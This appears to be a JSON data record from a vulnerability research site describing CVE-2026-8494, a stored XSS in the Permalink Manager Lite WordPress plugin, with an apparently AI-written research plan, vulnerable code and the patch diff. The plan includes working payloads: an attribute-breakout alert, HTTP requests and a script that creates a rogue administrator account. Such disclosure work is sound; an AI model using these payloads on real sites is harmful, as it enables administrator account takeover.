[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fpD5OP_-wMrMkw2Tt4dfnl-Ui6TDfLqSToo0nPv6dl4Q":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-8494","permalink-manager-lite-authenticated-contributor-stored-cross-site-scripting-via-post-title","Permalink Manager Lite \u003C= 2.5.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Title","The Permalink Manager Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in the admin URI Editor interface in all versions up to, and including, 2.5.3.3 due to insufficient output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in the admin Permalink Manager page that will execute whenever an administrator accesses the Permalink Manager page.","permalink-manager",null,"\u003C=2.5.3.3","2.5.3.4","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-06-16 17:40:02","2026-06-17 06:49:40",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F221c62a8-09c9-405a-bddf-06638437bd39?source=api-prod",1,[22,23,24,25,26],"README.txt","includes\u002Fcore\u002Fpermalink-manager-admin-functions.php","includes\u002Fviews\u002Fpermalink-manager-uri-editor-post.php","out\u002Fpermalink-manager-admin.css","permalink-manager.php","researched",false,3,"This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in **Permalink Manager Lite (\u003C= 2.5.3.3)**. The vulnerability exists because the plugin fails to properly escape post titles before rendering them within an HTML attribute in the admin URI Editor.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Authenticated (Contributor+) Stored XSS.\n*   **Location:** `includes\u002Fviews\u002Fpermalink-manager-uri-editor-post.php` inside the `Permalink_Manager_URI_Editor_Post` class.\n*   **Cause:** The method `column_default()` uses `sanitize_text_field()` on the post title but fails to use `esc_attr()` when echoing that title inside the `title` attribute of a \"View\" link. While `sanitize_text_field()` strips HTML tags, it does not escape double quotes, allowing for attribute breakout and event handler injection.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fpost.php` (for post creation) and `wp-admin\u002Ftools.php?page=permalink-manager` (for execution).\n*   **Vulnerable Parameter:** `post_title` (during post creation).\n*   **Authentication:** Contributor-level access is required to create a post.\n*   **Preconditions:** An administrator must visit the Permalink Manager \"URI Editor\" page after the malicious post is created.\n\n### 3. Code Flow\n1.  **Input:** A Contributor creates or updates a post via `wp-admin\u002Fpost-new.php` or `wp-admin\u002Fpost.php`. The title is saved to the `wp_posts` table.\n2.  **Access:** An Administrator navigates to `tools.php?page=permalink-manager`.\n3.  **Initialization:** `Permalink_Manager_Admin_Functions::add_menu_page()` calls `display_section()`.\n4.  **UI Rendering:** `Permalink_Manager_Admin_Functions::display_section()` calls `Permalink_Manager_UI_Elements::get_plugin_sections_html()`.\n5.  **Table Rendering:** The URI Editor instantiates `Permalink_Manager_URI_Editor_Post` (a `WP_List_Table` subclass) and calls its `display()` method.\n6.  **Vulnerable Sink:** `Permalink_Manager_URI_Editor_Post::column_default()` is executed for each post:\n    *   `$post_title = sanitize_text_field( $item['post_title'] );` is called (Line 115).\n    *   Inside the `case 'item_title':` (Line 149), the code builds a link:\n        ```php\n        $output .= '\u003Cspan class=\"view\">\u003Ca target=\"_blank\" href=\"' . $permalink . '\" title=\"' . __( 'View', 'permalink-manager' ) . ' ' . $post_title . '\" rel=\"permalink\">' . __( 'View', 'permalink-manager' ) . '\u003C\u002Fa> | \u003C\u002Fspan>';\n        ```\n    *   **The Flaw:** Because `$post_title` is placed inside `title=\"...\"` without `esc_attr()`, an attacker can use a `\"` to break out of the attribute.\n\n### 4. Nonce Acquisition Strategy\n*   **Trigger Phase:** Loading the URI Editor list table (`tools.php?page=permalink-manager`) is a standard GET request and **does not require a nonce** to trigger the XSS.\n*   **Injection Phase:** Creating a post as a Contributor uses the standard WordPress post nonce (`_wpnonce`), which is handled automatically by the browser\u002FUI during post creation.\n*   **Conclusion:** No specialized nonce extraction is required for the primary exploitation of the XSS.\n\n### 5. Exploitation Strategy\n\n#### Step 1: Inject Payload (as Contributor)\nCreate a post with a title designed to break out of the `title` attribute and inject an automatic event handler.\n\n*   **Payload:** `My Post\" onfocus=\"alert('XSS')\" autofocus=\"`\n*   **HTTP Request:**\n    ```http\n    POST \u002Fwp-admin\u002Fpost.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=editpost&post_ID=[POST_ID]&post_title=My+Post%22+onfocus%3D%22alert%28%27XSS%27%29%22+autofocus%3D%22&post_type=post&_wpnonce=[NONCE]\n    ```\n\n#### Step 2: Trigger Payload (as Admin)\nLog in as an Administrator and visit the URI Editor.\n*   **HTTP Request:**\n    ```http\n    GET \u002Fwp-admin\u002Ftools.php?page=permalink-manager HTTP\u002F1.1\n    ```\n\n#### Step 3: Resulting HTML Sink\nThe rendered HTML in the admin dashboard will look like this:\n```html\n\u003Cspan class=\"view\">\n    \u003Ca target=\"_blank\" href=\"http:\u002F\u002Flocalhost\u002Fmy-post\" \n       title=\"View My Post\" onfocus=\"alert('XSS')\" autofocus=\"\" \n       rel=\"permalink\">View\u003C\u002Fa>\n\u003C\u002Fspan>\n```\nThe `autofocus` attribute causes the element to gain focus on page load, immediately triggering the `onfocus` event handler.\n\n### 6. Test Data Setup\n1.  **User Creation:**\n    ```bash\n    wp user create helper_contributor contributor@example.com --role=contributor --user_pass=password123\n    ```\n2.  **Plugin Activation:**\n    ```bash\n    wp plugin activate permalink-manager\n    ```\n3.  **Post Creation:**\n    The Contributor must have at least one post published or drafted for it to appear in the URI Editor list.\n\n### 7. Expected Results\n*   When the Administrator loads the Permalink Manager page, a JavaScript alert box showing \"XSS\" (or the specified payload) will appear automatically.\n*   In a real attack, the payload would likely be an external script to exfiltrate the administrator's cookie or perform a CSRF to create a new administrator account.\n\n### 8. Verification Steps\n1.  **Confirm Entry in Database:**\n    ```bash\n    wp db query \"SELECT post_title FROM wp_posts WHERE post_title LIKE '%onfocus%'\"\n    ```\n2.  **Examine Rendered Source:**\n    Use `browser_navigate` to the URI Editor page and check the HTML source of the table for the string `onfocus=\"alert`.\n\n### 9. Alternative Approaches\n*   **Mouseover Trigger:** Use `Post\" onmouseover=\"[payload]\"` if `autofocus` is filtered or blocked by browser security.\n*   **Style Injection:** If quotes were escaped but tags were not (though not the case here), one could use `\u003Cstyle>` tags. Since tags are stripped by `sanitize_text_field`, attribute breakout is the only viable path.\n*   **Payload for Account Takeover:**\n    Instead of `alert()`, use:\n    ```javascript\n    \" onfocus=\"fetch('\u002Fwp-admin\u002Fuser-new.php').then(r=>r.text()).then(t=> { let n=t.match(\u002F_wpnonce_create-user\\\" value=\\\"([^\\\"]+)\\\"\u002F)[1]; fetch('\u002Fwp-admin\u002Fuser-new.php',{method:'POST',headers:{'Content-Type':'application\u002Fx-www-form-urlencoded'},body:`action=createuser&user_login=attacker&email=evil@example.com&pass1=P@ssw0rd123!&pass2=P@ssw0rd123!&role=administrator&_wpnonce_create-user=${n}`})})\" autofocus=\"\n    ```","The Permalink Manager Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in the admin URI Editor interface. Authenticated attackers with Contributor-level permissions can inject arbitrary JavaScript by creating a post with a crafted title that breaks out of an HTML attribute due to missing output escaping.","\u002F\u002F includes\u002Fviews\u002Fpermalink-manager-uri-editor-post.php line 115\n$post_title      = sanitize_text_field( $item['post_title'] );\n\n---\n\n\u002F\u002F includes\u002Fviews\u002Fpermalink-manager-uri-editor-post.php lines 151-153\n$output .= '\u003Cdiv class=\"row-actions\">';\n$output .= sprintf( \"\u003Cspan class=\\\"edit\\\">\u003Ca href=\\\"%s\\\" title=\\\"%s\\\">%s\u003C\u002Fa> | \u003C\u002Fspan>\", get_edit_post_link( $item['ID'] ), __( 'Edit', 'permalink-manager' ), __( 'Edit', 'permalink-manager' ) );\n$output .= '\u003Cspan class=\"view\">\u003Ca target=\"_blank\" href=\"' . $permalink . '\" title=\"' . __( 'View', 'permalink-manager' ) . ' ' . $post_title . '\" rel=\"permalink\">' . __( 'View', 'permalink-manager' ) . '\u003C\u002Fa> | \u003C\u002Fspan>';","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpermalink-manager\u002F2.5.3.3\u002Fincludes\u002Fviews\u002Fpermalink-manager-uri-editor-post.php\t2026-05-06 14:52:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fpermalink-manager\u002F2.5.3.4\u002Fincludes\u002Fviews\u002Fpermalink-manager-uri-editor-post.php\t2026-05-13 18:43:28.000000000 +0000\n@@ -140,7 +142,7 @@\n \t\t\t\treturn $output;\n \n \t\t\tcase 'item_title':\n-\t\t\t\t$output = $post_title;\n+\t\t\t\t$output = esc_html( $post_title );\n \t\t\t\t$output .= '\u003Cdiv class=\"extra-info small\">';\n \t\t\t\t$output .= sprintf( \"\u003Cspan>\u003Cstrong>%s:\u003C\u002Fstrong> %s\u003C\u002Fspan>\", __( \"Slug\", \"permalink-manager\" ), urldecode( $item['post_name'] ) );\n \t\t\t\t$output .= sprintf( \" | \u003Cspan>\u003Cstrong>%s:\u003C\u002Fstrong> {$post_statuses_array[$item[\"post_status\"]]}\u003C\u002Fspan>\", __( \"Post status\", \"permalink-manager\" ) );\n@@ -148,9 +150,9 @@\n \t\t\t\t$output .= '\u003C\u002Fdiv>';\n \n \t\t\t\t$output .= '\u003Cdiv class=\"row-actions\">';\n-\t\t\t\t$output .= sprintf( \"\u003Cspan class=\\\"edit\\\">\u003Ca href=\\\"%s\\\" title=\\\"%s\\\">%s\u003C\u002Fa> | \u003C\u002Fspan>\", get_edit_post_link( $item['ID'] ), __( 'Edit', 'permalink-manager' ), __( 'Edit', 'permalink-manager' ) );\n-\t\t\t\t$output .= '\u003Cspan class=\"view\">\u003Ca target=\"_blank\" href=\"' . $permalink . '\" title=\"' . __( 'View', 'permalink-manager' ) . ' ' . $post_title . '\" rel=\"permalink\">' . __( 'View', 'permalink-manager' ) . '\u003C\u002Fa> | \u003C\u002Fspan>';\n-\t\t\t\t$output .= '\u003Cspan class=\"id\">#' . $item['ID'] . '\u003C\u002Fspan>';\n+\t\t\t\t$output .= sprintf( '\u003Cspan class=\"edit\">\u003Ca href=\"%1$s\" title=\"%2$s\">%2$s\u003C\u002Fa> | \u003C\u002Fspan>', esc_url( get_edit_post_link( $item['ID'] ) ), __( 'Edit', 'permalink-manager' ) );\n+\t\t\t\t$output .= sprintf( '\u003Cspan class=\"view\">\u003Ca target=\"_blank\" href=\"%1$s\" title=\"%2$s %3$s\" rel=\"permalink\">%2$s\u003C\u002Fa> | \u003C\u002Fspan>', esc_attr( $permalink ), __( 'View', 'permalink-manager' ), esc_html( $post_title ) );\n+\t\t\t\t$output .= sprintf( '\u003Cspan class=\"id\">#%s\u003C\u002Fspan>', esc_html( $item['ID'] ) );\n \t\t\t\t$output .= '\u003C\u002Fdiv>';\n \n \t\t\t\treturn $output;","1. Login as a Contributor-level user.\n2. Create or edit a post.\n3. Set the post title to a payload designed to break out of an HTML attribute, such as: `My Post\" onfocus=\"alert('XSS')\" autofocus=\"`.\n4. Save the post. The double quotes are preserved by the `sanitize_text_field` function used in the plugin's display logic.\n5. Wait for or trick an Administrator into navigating to the Permalink Manager URI Editor page at `wp-admin\u002Ftools.php?page=permalink-manager`.\n6. The plugin renders the post list in the admin panel, echoing the malicious title directly into the `title` attribute of the 'View' link. The `autofocus` attribute causes the browser to focus the link on page load, immediately executing the `onfocus` JavaScript payload.","gemini-3-flash-preview","2026-06-25 23:06:53","2026-06-25 23:07:58",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","2.5.3.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpermalink-manager\u002Ftags\u002F2.5.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpermalink-manager.2.5.3.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpermalink-manager\u002Ftags\u002F2.5.3.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpermalink-manager.2.5.3.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fpermalink-manager\u002Ftags"]